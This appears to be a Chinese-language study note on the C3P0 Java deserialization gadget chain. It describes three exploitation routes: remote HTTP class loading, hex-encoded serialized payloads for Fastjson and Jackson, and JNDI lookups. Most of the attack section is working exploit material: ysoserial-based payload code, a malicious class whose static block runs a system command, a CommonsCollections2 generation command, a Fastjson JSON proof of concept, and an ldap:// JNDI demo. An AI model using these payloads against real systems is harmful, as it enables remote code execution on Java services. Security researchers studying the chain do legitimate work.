C3P0反序列化链学习
依赖包
需要先导入依赖包
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.example</groupId> <artifactId>C3P0</artifactId> <version>1.0-SNAPSHOT</version> </dependency> <dependency> <groupId>com.mchange</groupId> <artifactId>mchange-commons-java</artifactId> <version>0.2.11</version> </dependency>
|
依赖包的查看ysoserial
可以发现,需要用到的依赖包
C3P0的利用方式
现在有三种利用方式:
- http base
- JNDI
- Hex序列化字节加载器
在原生的反序列化中,如果找不到其他的链,则可以尝试C3P去加载远程执行的类进行命令执行。JNDI则适用于jackSon
等利用,而Hex 序列化字节加载器的方式可以利用与fastjson
或者JackSon
等不出网的情况下进行利用。
HTTP Base
将ysoserial
作为lib
包导入,做以下payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import ysoserial.Serializer; import ysoserial.payloads.C3P0;
import java.io.ByteArrayInputStream; import java.io.ObjectInputStream;
public class Test1 { public static void main ( final String[] args ) throws Exception { C3P0 c3P0 = new C3P0(); Object object = c3P0.getObject("http://127.0.0.1:8000/:test"); byte[] serialize = Serializer.serialize(object); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); }
}
|
注意类名不要直接命名为Test或者test,否则payload会直接无法执行
同时需要在公网服务器下放置一个恶意的类:test
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException;
public class calc { static{ try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } }
|
接下来进行一个调试,在C3P0.getObject()
处打上一个断点开始调试:
其中的定义是这样的:
将 command
使用lastIndexOf
获取ASCLL
码为58的字符
正好,ASCLL
码58为冒号::
之后获得className
,远程加载的恶意类为test
之后通过反射创建了一个PoolBackedDataSource
对象,接着,又用反射设置PoolBackedDataSourceBase
类中属性connectionPoolDataSource
为PoolSource
对象
1
| Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
|
在实例化的时候,会自动进行赋值
之后进行序列化的时候,会调用com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject()
方法,但是会抛出异常进入catch
部分,原因是我们传入的this.connectionPoolDataSource
,即PoolSource
类是不可被序列化的。
因为PoolSource
继承了final
关键字段
之后继续往下走,会到了
他会调用传递的this.connectionPoolDataSource
的getReference
方法来获取一个Reference
,这就是我们为什么要重写这个方法。
往下走,将获得的reference
放进去
Hex序列化字节加载器
这里其实就是常听到的就是用C3P0二次反序列化打Fastjson
,因为像Fastjson和Jackson在反序列化时都会触发setter方法的执行,而C3P0中userOverridesAsString
的setter会将HexAsciiSerializedMap
开头的hex字符串进行解码再去触发Java原生的反序列化。
==当目标存在其他的依赖,如fastjson或者jackson等,而且不出网,则适合使用这个Gadget
==
先生成序列化payload,这里的payload注意是需要本地的另一条Gadget比如CC或者CB链,这里以CC2为例
java -jar ysoserial.jar CommonsCollections2 "calc.exe" > test.ser
编写如下demo生成hex数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream;
public class Test2 { public static void main(String[] args) throws IOException { InputStream in = new FileInputStream("src/main/resources/test.ser"); byte[] data = toByteArray(in); in.close(); String HexString = bytesToHexString(data, data.length); System.out.println(HexString); } public static byte[] toByteArray(InputStream in) throws IOException { byte[] classBytes; classBytes = new byte[in.available()]; in.read(classBytes); in.close(); return classBytes; } public static String bytesToHexString(byte[] bArray, int length) { StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) { String sTemp = Integer.toHexString(255 & bArray[i]); if (sTemp.length() < 2) { sb.append(0); }
sb.append(sTemp.toUpperCase()); } return sb.toString(); } }
|
得到如下:
当链是fastjson
的时候, POC如下:
1
| {"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}
|
效果如下:
JNDI
使用的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.fasterxml.jackson.databind.ObjectMapper; import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;
import java.beans.PropertyVetoException; import java.io.IOException; import java.sql.SQLException;
public class Test3 { public static void main(String[] args) throws IOException, PropertyVetoException, SQLException { JndiRefConnectionPoolDataSource exp = new JndiRefConnectionPoolDataSource(); exp.setJndiName("ldap://127.0.0.1:1389/test"); exp.setLoginTimeout(1); } }
|